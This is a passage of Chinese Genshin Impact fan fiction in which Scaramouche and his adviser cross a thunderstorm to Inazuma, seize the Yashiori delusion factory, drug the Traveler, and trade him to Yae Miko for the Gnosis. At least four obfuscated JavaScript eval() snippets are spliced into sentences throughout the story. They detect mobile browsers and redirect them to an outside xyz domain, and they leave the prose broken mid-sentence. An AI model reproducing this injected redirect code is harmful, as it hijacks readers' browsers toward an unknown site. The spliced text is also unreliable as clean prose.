士兵的小动作被二人尽收眼底,但现在他们谁都没工夫管,月见里清也将文件递过去,语气中有没收住的笑意,“第八席执行官『女士』向咱们发来了援助申请。” 这话一出,饶是见识颇多的散兵脸上都闪过一丝诧异,他将文件看完后意味不明地笑到:“终于。” 这份文件走的是普通程序过来的,没有进行加密处理,女士如了散兵的意,申请了正式求援。 按照以往的经验,大概率是对方在稻妻惹了一个不大不小的麻烦,明明自己也可以解决,可偏偏需要他过去收尾。 散兵通常会直接把消息原路退回去让对方自己解决制造出来的烂摊子,但今日不同以往,他忙活半天就是为了这个效果。 散兵将文件往桌上一扔,对着月见里清也安排道:“这次不需要带太多人手,其他的同往常一样。” 月见里清也沉默地一点头,接着转身麻利跑去下发通知。 由于第六席的工作特性,他们前往稻妻的审批通过的很快。第六席执行官散兵在调查完陨石后的几个月后,又带着手下前往正在锁国的稻妻。 这次坐的船与去往璃月的不同,船帆上并未挂着愚人众的旗帜,船只也要比上次的小很多。船只体积缩小,船舱房间自然也跟着一块缩水,本来就狭小的房间变得更加逼仄,待久了让人喘不过气。 月见里清也在自己屋里呆了一会,打着“商讨计划”的名头又溜到执行官的房间前,伸手敲门时发觉房门并未上锁,一推就开。 散兵一早就料到他会闲不住,提早留了门,这会正拿着几份文件看。 不请自来的月见里清也理所当然的坐在散兵身旁,他对散兵拿着的文件有印象,都是最近搜罗来有关稻妻局势的情报,另外还有一份愚人众在璃月的近况。 稻妻局势不甚明朗,除了愚人众这个最大的“外患”,还有天领奉行和勘定奉行这两个“内忧”。局势越发混乱,越能方便愚人众浑水摸鱼。 “女士忙活这么久就为了眼下这个局面,她肯定不会将面见雷神拿到神之心的机会拱手让给我们。”月见里清也一手托腮,漫不经心道:“不管是明抢还是暗度陈仓,都要和对方撕破脸。” “我为什么要和她撕破脸?”散兵说着,露出一个意味不明的笑容,“是她自己要去见巴尔泽布,太过相信自己的人终有一天会被自己的傲慢吞噬。” 月见里清也皱眉,像是不懂。 散兵放下文件问道:“蒙德和稻妻的区别是什么?” 月见里清也不假思索道:“神明是否执政。” “璃月本该也是如此,但岩之神主动申请合作,暂且不提他。”散兵说,“稻妻是有在位神管理,而且真正能听得进人话的还躲进一心净土里,只剩下一副只知道执行死命令的躯体。” “‘永恒的守护者’……”他默念着情报上的名字,嗤笑一声接着说道,“在世人眼前的这个雷电将军只会坚守巴尔泽布留给她‘维持现状’的命令。至于女士……她强硬的外交手段根本不起作用,所以她只能将局势绞的更糟糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968221|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些。” “……比如持续激化海祈岛那边的矛盾,将这场内乱搅的更乱一些,好达成自己的目的。”月见里清也思索片刻说。 “你觉得可能吗?”散兵看向他,眼神平静的像是湖水,没有一丝波澜,“就算反叛军打上天守阁又怎样,凡人妄想推翻神明的统治?别忘了巴尔泽布也是一路斩杀其他魔神杀上去的。” 月见里清也轻微一摇头说:“但这是女士的想法。” “不错,这是她的计划。”散兵哂笑着,“和蒙德璃月的计划异曲同工,但巴尔泽布不会理她。” “执行官三席以上才有与之一战的实力,以第八席的实力来说,她不会选择直接与雷电将军动手。”月见里清也耸肩道,“所以局势就这么僵住了。” 散兵接着说:“不出意外,到了稻妻之后她一定会把我往远处支,自以为是的小聪明,谁告诉她要见到雷神才能拿到神之心。” 单听神之心这一名字,便觉得这是神明重要之物,大家都会被这一想法局限住,所以都会认为神之心是被神明随身携带的。 但事实上,巴尔泽布创造散兵这个“原型人偶”,目的就是为了存放神之心,虽然后面她放弃了使用原型人偶这一想法,以自己的肉身为基础进行改造,但不论如何,神之心根本不在雷电将军自己身上。 所以女士去见雷电将军根本不会有结果,一是对巴尔泽布对女士提供的好处并不心动,不会从一心净土里出来见她;二是神之心不在她手上,又谈何给呢? 而神之心到底在谁的手上自然不用多说。 作为雷神眷属与友人,八重神子是雷电影的唯一选择。 女士想让他们远离天守阁和雷电将军,在到达稻妻的那一刻就回把他们往远处安排,但这样反倒方便了他们的行动。 毕竟众人的注意力都在天守阁上,谁又会分出精力放在不干政事的鸣神大社的身上,避开第八席的人手前往鸣神大社对月见里清也不是难事,对一回生二回熟的散兵更不是难事。 初步明白散兵的打算后,月见里清也正要开口说些什么,身体却不受控猛的向一旁歪过去,余光一撇见桌上的物什大有滑落的意思,他下意识扶稳桌子,避免了文件乱成一锅粥的悲剧。 与此同时屋外传来阵阵雷声和闪电划过长空时带来的爆裂声。 散兵则在晃动发生时抢先一步护住月见里清也即将要撞上地板的头,俩人四目相对,还不等说什么,接着船身又向着相反方向歪过去。 有了第一次的经验,两人这次也不算太狼狈,月见里清也一手在撑在散兵身旁,借势用身体挡住从桌上摔落下来的物品,挤眉弄眼道:“礼尚往来。” 眼见船只颠簸越来越大,散兵没心思和他贫嘴,将月见里清也推开率先向甲板走去,简言意骇吩咐着:“看样子应该是进入雷暴区了,把士兵安顿好后去甲板上找我。” 月见里清也紧跟在他身后:“是,大人。” 35.雷暴后的国度 身为执行官,只有散兵一人的起居室位于甲板之上,其他人想要休息只能从甲板活板门下到二层甲板或三层甲板。 月见里清也从活板门下来时,船舱内乱作一团。 船上的士兵被突如其来的雷暴和风浪打了个措手不及,更有甚者直接被风浪晃到晕船,捂着嘴慌不择路地就要往甲板上跑。 月见里清也眼疾手快把人拽回来,往身后追着他出来的士兵身上一推:“回船舱,通知所有队长,清点人数,看好自己队伍里的人,所有人待在船舱里不许出来添乱!” 追着出来的士兵正好就是中队队长,当下领了命令,扶着晕船的倒霉蛋离开了。 月见里清也又点了几个队长,方才乱哄哄的船舱清净不少,他这才转身踏上返回甲板的梯子。 甲板上大雨倾盆,只是片刻,雨水就将月见里清也淋了个透彻,原本能遥遥望见的影向山此时也不知所踪,天空在瞬间被厚重的乌云严严实实地笼罩,密集的闪电如银蛇般划过天空,将漆黑的天空映如白日。 船身被浪潮一次次高高抛起,又重重地摔下,稍有不慎就会在汹涌的海水中丧命,然而这还不是最致命的。 一道闪电在船身十几米开外处劈下,激起更大的浪花,月见里清也不得不抓住栏杆稳住身形,在第二道闪电批下时他注意到,这道闪电的击点距离船身仅仅只有几米的距离。 这次他们所做的船只并非普通航船,前行的动力并不完全依靠风力,即使有风浪阻碍,他们也不会停滞不前,越来越近的闪电,只能表明雷暴自动锁定闯入雷暴的人。 明白这一点的月见里清也看向散兵,不用多言,散兵也注意到了这点,海面之上的风雨声声响太大,他不得不提高音量简言意骇地说:“你去驾驶,其他的交给我。” 月见里清也没有异议地接过散兵手中的船舵,沉下心感受周围雷元素的流动与聚合,猛地一打方向舵,避开了马上要落到船头上的闪电, 成功避开一道闪电并没有让他放松下来,反而让他精神高度紧张,随着船只深入雷暴中心,周围雷元素浓度渐渐增高,元素流动走向变得更加难以感知。 散兵拍了拍月见里清也因紧张有些紧绷的肩膀,一手伸向他的神之眼,“放心,万事有我。” 察觉到后背的异样,月见里清也回过身看去,只见散兵不知何时将自己佩刀拿在手中,单手持刀走向甲板中间处,与他对视片刻,微微点头。 月见里清也缓缓地将憋在胸中的那口气呼出,直接将功率开到最大档,专注眼前的海域,他只需要避开眼前的那些闪电就够了,至于其他的,散兵自会处理。 没有顾虑后航行速度明显快了许多,散兵就站在他身后静静等待着,直到一束雷光穿透云层,直冲航船而来。 几乎是在同一时刻,散兵一跃而起,踏着桅杆直冲而去,手里那把青色的长刀散发着数不清的电弧,一时间耀如白光,仿佛上面有万钧的力量,而散兵毫不犹豫的挥刀劈向闪电。 雷暴是雷电将军的“神迹”,但稻妻领海绵延几千米海里,再强大的力量也该被稀释的差不多了,但散兵依旧留了个心眼,没用蛮力硬抗,用巧劲让闪电改道劈向海水中。 闪电击在水中发出巨大声响,在船舱内躲着的士兵们听着心惊,有胆大的几个小队队长推开活板门,小心翼翼的探出头去。 只见更为密集的闪电紧随其后,散兵用同样的方法将闪电劈落于水中,速度快到几乎无法用肉眼捕捉他的身形。一束闪电改变路径后向着直冲活板门方向飞去,吓地士兵迅速将探出的头缩回去,仿佛那道闪电会擦着他头皮飞过去。 忙着应对眼下情况的散兵与月见里清也无暇顾忌他们,倒是见识到雷暴威力后的士兵们惊魂未定的将活板门关好,老老实实的呆在船舱里。 航船行驶的路线为雷暴的薄弱处,全功率的航行下,没过多久便冲出黑压压的乌云,将雷暴甩至身后。 雷暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972793|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后的海域晴朗无风,月见里清也将航行速度调回正常速度,伸手把额前湿哒哒的碎发向后一捋,回头看向正在将长刀收回刀鞘的散兵,不由得笑出声。 斗笠挡不住暴风雨,散兵一早就将斗笠摘下,眼下和月见里清也一样狼狈,散兵把长刀往他怀里一拍:“在这傻笑什么?” 月见里清也抱着自己的长刀说:“需要帮忙吗?” 湿透的衣服紧贴在身上的感觉并不好受,散兵没有回话,只是又往月见里清也的方向走了两步。月见里清也善解人意的用另一只手搭在散兵衣物上,将自己和散兵衣物上的水分全部抽出。 衣物恢复干爽,月见里清也如法炮制的将二人的头发弄干,确保自己的仪容仪表恢复正常后才去敲了敲活板门。 穿越雷暴后士兵们都从船舱来到甲板,每个人脸上都肉眼可见的有种劫后余生的轻松感。 小部分人扶着刚才晕船晕的厉害的同伴来甲板上透口气,等自己同伴缓的差不多后开始插科打诨逗他们开心,直到演变成一场不大不小的打闹。 月见里清也摇了摇头,装作自己什么也没看见,避开他们进了执行官的休息室。 剩下路程不远,等船上众人将散落的东西都归置好后,船只也准备驶入离岛的码头。 进入鸣神岛之前,所有的船只都要统一停泊在离岛,但第六席一行并没有前往离岛,反而调转方向驶向八酝岛。 即使女士并未透露只言片语,只要结合事先知道的情报,散兵也不难猜出她心中的小算盘——女士打算将邪眼工厂的锅推到自己头上。 当年雷电影一刀斩杀魔神奥罗巴斯,顺带劈出无想刃狭间,为了不让魔神残渣侵害八酝岛上的民众,人们在岛上立了几处封印。 但现在的八酝岛雷电交加,村庄荒落,世代居住在这里的人早已人去岛空。这一切都昭示着岛上的封印失效,散兵看着四周破败的景象,心底冷笑一声。 真是无所不用其极。 36.“请帖” 八酝岛的人们世代以开采“玉刚”为主要的生活来源,但因幕府与海祇岛的战争,蛇骨矿洞的开发的早已停工。失去生活来源加上岛上的魔神残渣,八酝岛可以说已经不适合人类居住了,就连码头附近的几个小屋都看得出有临时搭建的痕迹。 码头上站着一位第八席的士兵,从肩章上看级别不低,大概率是女士的亲信。 月见里清也跟在散兵身后下船,确保这座小码头除了第八席的士兵外没有其他威胁后,微不可察地向散兵一点头。 另一边亲信见他们下船后,连忙迎上去,行完军礼后说道:“若您没有其他要事的话,我家大人正在工厂等着您,请您跟我这边走。” 岛上这等情况,除了那座邪眼工厂根本无处可去,第六席一行人别无他选,只能跟着第八席士兵徒步走到工厂。 邪眼工厂为了避人耳目,选址十分隐秘,加之稻妻岛屿除了鸣神岛的地势相对平缓,其他岛屿山地地势落差较大,一路上走得十分困难。 对于生在稻妻的散兵和月见里清也来说,这段山路并不是问题,但今日不知怎么,月见里清也感到有些吃力,胸口发闷。 异于常人的体质使得患病都变得比常人困难,月见里清也猜测这突如其来的胸痛和岛上的崇神有关。 在来到稻妻之前,他们也考虑过崇神对月见里清也核心的影响,但千算万算却没想到八酝岛上的封印已经失效。 月见里清也轻皱眉头,调整自己的呼吸,以此缓解胸口的闷痛。抬头看着不远处的工厂大门,没忍住叹了口气。 虽然自己身体对于崇神的反应比自己想象中的要严重一些,但也要多亏女士为了制造邪眼建造的工厂,收集了岛上绝大部分的崇神,情况还没那么严重,喜忧参半吧。 月见里清也在得到散兵的示意后,对身后的士兵一挥手,身后的队伍便四散开来,上前接替第八席士兵驻扎此地。 女士就在这里的本意是见散兵一面,工厂在她计划中已经不再重要,没有多少人手驻扎在这,换岗散兵也不需要跟她打招呼,毕竟这地方名义上已经属于他了。 工厂利用岛上的崇神制作邪眼,正常来说这些崇神应该是都被密封好的,或许是制作的数量太多,工厂里的崇神密度明显比外面高。 散兵放慢脚步,二人距离拉近。 月见里清也见他担忧的眼神便知道他要说什么,摇摇头小声道:“不剧烈活动没什么大碍,别担心。” 话虽如此,散兵知道他在避重就轻,“不必跟我进去,去中控室把装置关了。” 月见里清也一点头,不再跟着散兵继续前行。 工厂虽然藏在山壁里,看着不起眼,但里面的设施倒是很全乎,指示图都画的简单明了。 月见里清也没向第八席的人问路,靠着指示图一路找到位于下层的中控室,越靠近核心区域,路上就越杂乱不堪。 推开中控室大门后,里面就更加难以形容,散落的文件散落一地,没用的箱子随地一扔,可见走的时候有多匆忙。 月见里清也对第八席遗留在这的文件没什么兴趣,打量起这个房间。 中控室有一面墙壁都换成了玻璃,从这里可以俯瞰整个邪眼制作生产线和储存崇神的装置。 虽然储存大量的崇神,但好在工厂密封都还做的不错,月见里清也待在这里并没有觉得有多么难受,他根据操作台上的说明关停了生产线。 也许是心理作用,生产停止和通风系统的开启后月见里清也感觉胸闷好像没有那么严重了。 就在他去往中控室的这一段时间里,女士已经结束了和散兵的对话,带着第八席的人离开了工厂。 前面已说过这两位执行官互看对方不顺眼,这次见面依然是不欢而散。守在门口站岗的第六席士兵当自己不存在,以防惹火上身。 月见里清也回来后见到的就是这两位门神修闭口禅的模样,这种情况在第六席颇为常见,他习惯性忽视了两位门神想要阻拦他的眼神,直接打开大门进去。 本想提醒月见里清也不要上赶着触霉头的二人四目相对,都紧接着把头贴在门上,想偷听一二。奈何工厂的隔音措施确实好,两人伸长脖子趴在门缝上都听不见什么。 没过多久,房门忽然打开,打了二人一个措手不及,慌慌张张地站回原位,装作无事发生。 散兵自然是注意到守卫的小动作,但眼下没空搭理他们,只是扣着月见里清也手腕快步向外走去。 躲过一劫的守卫松了一口气,注意到他们的执行官拖着副官就往外走,依旧是那副浑身散冷气的样子。守卫打了个哆嗦,不由得对月见里副官产生了几分怜悯。 月见里清也在后面走的踉踉跄跄,注意到守卫的表情后更是哭笑不得。 真的不用摆出一副上坟的表情。 散兵自然不会对月见里清也怎么样,将他拉出来只不过为了远离工厂那些浓度过高的崇神。 眼下天色已晚,士兵都在搭伙做饭,月见里清也一路被散兵拉到一处临时搭建的小棚子前,见棚子里支着一口小锅,顿时乐了,“呦,怎么还开了个小灶,给我的吗?” 散兵眉尾一挑,“嗯……要这么说,也没错。” 月见里清也迫不及待地打开锅,还不等看清里面煮的什么,一股草药的苦味便扑面而来。 “那个……”月见里清也掩鼻,盯着这一锅深紫色的东西,半天才找回自己的声音问道:“这什么?” “你的小灶。”散兵揶揄着,偏头笑了半天才解释道:“鸣草、天云草实还有……” 散兵每说一个材料,月见里清也脸色就白上一分,干巴巴地说:“我觉得我没么严重。” 结果这话刚说完,胸口一闷,一口气没上来咳了白天。 好不容易止住,就见他哥抱着手臂靠在柱子上看着他:“没那么严重?” 月见里清也:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你昏迷的那三年,我找她合作时送来过一封信,估计是信上带的。”散兵语气里带着点不爽,“狡猾的狐狸,恐怕我刚踏足稻妻的土地她就知道我来了。” 这点微弱的雷元素留在人身上根本察觉不到什么,触发过一次后也就慢慢消散了,月见里清也抿嘴笑着,没有提这事,反而说:“稻妻城的八重堂是八重神子的名下产业,让暗线交到那里就可以,她既然已经知道你的行踪,这份‘请柬’一定会交到她的手里。” 旅行者作为外来人,是八重神子选择的破局人,不然神社和社奉行不会对他那么关注。 至于以什么东西来换破局人,八重神子自然心知肚明。 散兵往火堆里添了树枝,将火烧旺了些,随后收走了月见里清也手上的勾玉,“今晚在这休息,别进工厂,剩下的事我去安排。” 月见里清也挑眉看着他,试图挣扎一下:“我觉得我还可以干活。” 散兵瞥了他一眼,不容置喙道:“病号就好好躺着休息。” 月见里清也又老老实实地坐了回去。 第六席的副官喜提带薪休假,可喜可贺。 37.有“客”而来 在散兵的严防死守下,月见里清也连工厂的大门都迈不进去,连带一应职务都被散兵代为接管过去。 除了工厂,散兵倒没限制他其他活动,但在大雨滂沱的八酝岛上找到可供消遣的事情,属实是有些难为人。 而且由于岛上崇神的干扰,通讯器状态依旧不稳定,打探消息又换回了暗探亲自汇报,不能视奸消息的月见里清也无所事事,身上闲的都能长蘑菇,终于忍不住截了负责盯着海祇岛暗探的消息。 月见里清也手臂架在暗探脖子上,强行把人拐到一旁,“说说,海祇岛有动静了?” 暗探欲言又止,月见里清也看着瘦弱,也不知哪来那么大力气,挣脱无果,苦哈哈道:“我正要去给大人汇报。” “你跑什么,我是能吃了你?”月见里清也制住他,“跟我说跟大人说不都是一样?我替你们转达。” 暗探回道:“散兵大人前几日刚吩咐这段时间内任何事都不准再来烦扰您,您这不是难为我嘛?” 以他哥在第六席的威严,直接问恐怕得费一番功夫,月见里清也想了片刻后问道:“你只告诉我,是不是那位旅行者有所动作了,点头摇头就行,说完了我就让你走。” 暗探顿了顿,缓缓一点头。 月见里清也暗道果然,他面色如常,手上力度却不减分毫,扯着暗探就往工厂大门走。 “大…大人,你说好让我走的啊?” “嗯,我是说过。”月见里清也懒懒应着,“正好我要见散兵大人一面,顺路。” 顺什么路啊,执行官大人不让你进工厂你不知道吗?! 好在月见里清也没想为难暗探,混进工厂大门后就放人走了,等他不紧不慢的走到散兵的临时办公的地方,听到里面隐约传来的声音。 他听力比寻常人好些,听出里面说话声是那个小暗探,一时间也没了敲门进去意思。 在门口站岗的两位士兵,你看看我我看看你,既搞不懂月见里清也怎么进来的,又弄不明白副官大人不敲门进去在这光明正大的偷听算怎么回事,“大人您……” 月见里清也竖起一根手指放在嘴边,对口型道:别出声。 见士兵似懂非懂地点了点头,月见里清也笑眯眯地一挥手,让两人下去干别的,自己继续靠着门板偷听。 “……鸣神大社今天也有些动静,那位宫司在今早得到了什么消息,一早离开了神社,行踪也极为隐蔽,除了她几个极为信中的手下,基本没有人知道她离开了神社。” 眼下旅行者是被稻妻通缉的状态,她自然不能让人知道自己离开神社是准备去交换“逃犯”的。 月见里清也默默算着两地的距离。 从鸣神岛到八酝岛的路程自然不如海祇岛到这里快,如此一来,倒不怕旅行者和八重神子撞上。 加上暗探传回消息所费的时间,估计两人几小时内就会到达工厂。 屋内不知散兵又吩咐了什么,暗探领命离开,月见里清也本想悄悄离开,不料大门打开的同时,屋里传来一句:“听都听了,跑什么?进来,有事安排你去做。” 这句话自然不是说给暗探听的,月见里清也悄悄探了个头进去,见散兵神色还不错,这才规规矩矩地走进去,“大人。” 虽不是什么大事,重要性却不一般,散兵不放心他人,交给月见里清也才安心, 这场戏看似三方都怀着不同的目的,本质上还是挟持人质威胁对方的戏码,月见里清也要做的是有两件,其一是在谈判前不让筹码和对手遇到,二是看准时机挟持住人质。 两小时后,旅行者携带着一身怒气杀到邪眼工厂,仿佛天气都被这怒气吓到,八酝岛的暴雨罕见地变小,连雷鸣声都弱了几分。 工厂升降梯极速下行,一位士兵连滚带爬地跑进中控室,神色焦急,“月见里大人!人……人已经杀进来了,安排的人手太少,我们根本拦不住他!” 月见里清也一如往常,“现在到什么地方了?” “已经找到打开大门的‘雷玉’,不一会就能到‘会议厅’。” 所谓的会议厅只不过是一处空置的房间,关停生产线前,这里是一处备用的崇神储存点,生产线全线关闭后,这里也就被闲置下来。 月见里清也按下按钮,从大门直通“会议室”的道路被封锁,别人要想再进来只能稍微绕点远路。 做完这一切他才起身吩咐道:“去通知守门的士兵不用和他死磕,意思两下让他过去就行。另外,对一会来的那位宫司客气点,找个人给她引路。” “是!” 中控室有两处升降梯,一处是月见里清也第一次来关停生产线时坐的,距离大门很近,另一处坐上去可以直达会议室。 借着屏风和杂物的遮挡,身在会议室的旅行者并未注意到已经悄无声息躲在暗处的月见里清也。 他的大部分注意力都在散兵身上。 自蒙德陨石事件后,二人又一次相见,这次的见面延续了马克斯礁的焦灼与对峙,旅行者新仇旧恨加在一起,显得更剑拔弩张。 如果眼神能化为利刃,散兵恐怕早就被刺的千疮百孔了,但他仍泰然自若地站在那里,丝毫不畏惧怒火中烧的旅行者。 藏在屏风后的月见里清也不知道他们之前聊了什么,只在心里默默祈求散兵收着点力度,别直接将人气死过去。 然而散兵并没有听到月见里清也的祈求,在注意到空难看到极致的神色后嗤笑一声,“怎么,才这么一点‘小事’就被激怒了?没想到你这么不堪一击啊。” 月见里清也:“……” 算了,就这样吧。 把人气昏过去还省的他动手了。 屏风另一边传来派蒙难以置信的声音:“你竟然说这是小事?!” 事实上,散兵不知道真正触发空怒火的导火索是什么,他透露出去的消息仅仅只有工厂的位置而已,但对方既然寻来,那肯定与邪眼脱不开关系。 他的目的就是拱火,让空失去理智而已,这些微不足道的细节并不妨碍他发挥。神之眼对于普通人来说,可能是一辈子也可望而不可即的事物,没有任何门槛就可以使用元素力的邪眼,对他们来说无疑是一种机会。 但在提瓦特的法则中,没有平白无故获取力量的方式,任何力量的使用都要索取代价。 稻妻问题本就根深蒂固,日积月累下早晚有一天会爆发,而女士利用局势动了些小手脚,让这一天加速到来了而已。 在战争的催化之下,绝大部分士兵都会追求力量,希望能为战争带来转机,这也就给了邪眼可乘之机。 站在局势之外的散兵看得分明,说到底,如果稻妻统治者还不能有所作为,情况只会越来越糟。 但散兵也没有心情跟空仔细分析,话题猛然一转,“邪眼固然给他们提供了机会,但无论他们怎么努力,都不过是徒劳。” 就像压垮骆驼的最后一根稻草,这句话压垮了空最后一丝理智,嗓音压抑着怒气,死死地盯住散兵,“你……” 仇恨是崇神最好的食物,虽然眼下邪眼工厂的崇神被密封起来,但只要踏入八酝岛,身上总会沾上这些东西。 在极度愤怒下,只需稍加一点“佐料”,这些少量的崇神便能发挥意想不到的效果。 月见里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983557|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清也等的就是这一时机。 空抬手召出自己的武器,如离弦之箭一般向前冲去。 但剑刃连那人的袍角都未触碰到,眼前刀光一闪,武器相撞,发出刀剑独有的争鸣声。 月见里清也的长刀稳稳架住汹涌的攻势,他并不恋战,手腕一翻,用巧劲将剑挑开。同时左手一扬,藏在指缝间的粉末纷纷扬扬地洒在二人之间。 粉末一脱手,月见里清也早有准备地迅速后退,大多数粉末全都糊在了空的脸上,伤害性不大,侮辱性极强。 视线严重受阻的空不得不停下攻势,在一旁的派蒙迅速飞过去查看他的状态。 “抱歉,你们不能上前。”月见里清也自知胜之不武,没什么歉意地叮嘱道,“另外,我劝你不要那么激动,虽然工厂不再制造邪眼,但八酝岛上的崇神可是无处不在。” 短时间吸入大量晶化骨髓粉末,空的意识逐渐昏沉,烧断理智的怒火仿佛被不知来源的空洞吸走,连同自己意识一起坠入无底的深渊。 月见里清也的声音变得缥缈又悠远,模糊不清。 眼前骤然一黑,空的身型再也坚持不住,摇晃两下后栽倒在地。 “你怎么了,别吓我啊?”派蒙试图将空拉起来,焦急道:“快起来!” 见倒在地上的空依旧没有反应,派蒙心里北不安和担忧充斥着,小小的身型却拦在他身前,“你对他做了什么!” 月见里清也抬起手,抖落手上残留的粉末,“晶化骨髓粉末,这东西你们在海祇岛应该听过吧,放心,不会致命。” “愤怒可是最适合作为崇神的养料,对此,你最了解不过了,不是么?”散兵的视线并未在几人身上过多停留,反而转向大门。 门外没有守卫,来人直接推开了半掩着的门。 “哎呀,”粉发狐耳的宫司款款而来,正好将眼前景象尽收眼底,她道:“真是好大的阵仗。” 至此,谈判双方和筹码均已到齐。 散兵和八重神子都在笑,但那笑容连礼节都算不上。 一个嘲弄一个冷笑,两人说是相看生厌都不为过。 月见里清也不知道二人之间有什么过节,这场谈判的主导不是他,他一时半会也插不上话,只好不动声色的打量起这位鸣神大社的宫司。 从名义上来说,这是他的母亲。 造物主在创造时或许都有自己的小私心,比如散兵和雷电将军相似的发色与瞳色,月见里清也眼型走向与八重神子有个八九分相似。 似乎是察觉到月见里清也的视线,八重神子转头看向他。 虽然在多年前从散兵嘴里知晓月见里清也有了自我意识和独立人格,但毕竟是第一次见到醒着的他,一时间也不免好奇。 月见里清也一愣,倒也没移开视线,礼貌又疏离冲她一笑。 正如之前所说,月见里清也对自己的创作人没有什么太大得情感,除了二人之间挂着一个伦理上的“母子”关系,再无其他。 “许久未见,希望稻妻的政事没让你焦头烂额。”散兵阴阳怪气道。 八重神子神色未变,回敬道:“分内之事,谈不上麻烦。倒是你,多年不见,还是当年那副低声下气来求我的样子更讨喜。” “呵。”散兵冷笑一声,空气里的火药味更浓了。 “说正事吧,你要的筹码我带来了,但现在我觉得条件不对等,想要追加一个筹码。”八重神子轻笑一声说。 散兵眉头微皱,也不知道她是认真的还是故意刁难,就见八重神子重新将目光投向月见里清也。 “用神之心换旅行者和你弟弟跟我走,怎么样?” 38.交易 散兵的脸色瞬间冷了下来,但他还未说话,就听月见里清也抢先开口道:“我想宫司大人恐怕误会了什么,我可不是今天谈判桌上的筹码。” 自从上次被至冬旧贵族当筹码胁迫散兵后,他就对当筹码这件事有些厌恶。 不论哪方面的原因,八重神子都没有将月见里清也这个愚人众副官带走的理由,这一举动除了戏弄散兵外没有别的好处。 他只好率先开口,既安抚了散兵又告知八重神子自己的态度。 “据我所知,巴尔泽布现在根本不需要这枚神之心,不然也不会放在你这里,一枚无用的神之心换你们稻妻的‘未来’,十分划算。”散兵气极反笑,眼神陡然变得狠厉起来,“适可而止,不然我不介意将事情变得更麻烦一些。” 如果八重神子真的要带月见里清也走,散兵恐怕会直接动手抢神之心。 不说谁打得过谁,跟散兵打一架显然得不偿失。 八重神子面露不虞,看向面前的大麻烦和小麻烦,退了一步,“好吧,他可以不走,说几句话总可以吧。” 这个条件听着并不过分,在散兵的接受范围内,但他毕竟不是月见里清也本人,不能替他做决定。 月见里清也礼貌笑着说:“当然没问题。” 说完他向后退回到散兵身边,长刀收回鞘中,看着八重神子将神之心交到散兵手中。 拿到神之心的散兵怔愣片刻,神色迅速恢复正常,面无表情地收起神之心。 完成交易的八重神子并不着急带走空,示意月见里清也到一旁去,散兵本想说些什么,月见里清也安抚性地拍了拍他的手,领着八重神子向房间外走去。 二人并未走远,月见里清也离开会议室没走几米就停下了脚步,这点距离就算散兵想听也能毫不费力的听到。 月见里清也率先开口询问:“不知道宫司大人想单独和我说些什么?” 八重神子并未戳穿他的这点小心思,笑盈盈地看着他,“一点小事罢了,说这些之前,你不打算介绍一下自己么,小家伙。” ……小家伙,是在说我? 活了五百年的月见里清也认为自己早就脱离了跟“小”有关的一切称呼,但转念一想,跟活了不知道几百年的八重神子比起来,恐怕自己确实是“小家伙”。 月见里清也把自己马上要扬飞出去的眉毛硬拽回来,为了避免她再叫这个称呼,他忙不迭道:“月见里清也。” “是我疏忽,我以为他会跟你提过我的名字。” “他呀,当初来见我的时候一口一个弟弟叫的可亲切呢。”八重神子装作不经意说道。 虽然是在说很正常的事,但从八重神子嘴里说出来总感觉怪怪的,听得月见里清也有些不自在。 见到了自己意料之中的反应,八重神子玩味地欣赏够了才悠然开口追问:“既然你的名字是自己取的,那他呢?” 当然有,但我不打算说。 散兵既已决定抛下过往,那个名字也就没必要再被重新提及了,让它随着过往被淹没在时间长河下,那才是最好的归处。 八重神子话语里打探的意味昭然若揭,月见里清也摸透了八重神子狡黠的性子,“都是小时候自己胡闹,没什么独特之处,宫司大人有事不妨直说。” 拒绝的太过生硬,让本来平和的氛围多了一些紧绷,但就是这样才让月见里清也暗自松了口气。 从八重神子要求单独谈话开始,他就怕对方提及“创造者”“母亲”这样的话题。 月见里清也这几百年来唯一的亲人只有散兵一个,对于他来说,八重神子只是陌生人,必要的时候可以打感情牌换取一些利益,但不代表他喜欢认亲。 好在八重神子的想法与他差不多,和雷电影与散兵不同,月见里清也诞生时是死物,她没想过有一天这个小人偶会醒来,他们没有任何交集,也不会对彼此产生多余的亲情。 带他走、问名字,只不过是她单纯觉得有意思,故意为之罢了。 实际上她的目的就是来换旅行者走,看在和月见里清也那点关系的份上提点他几句。 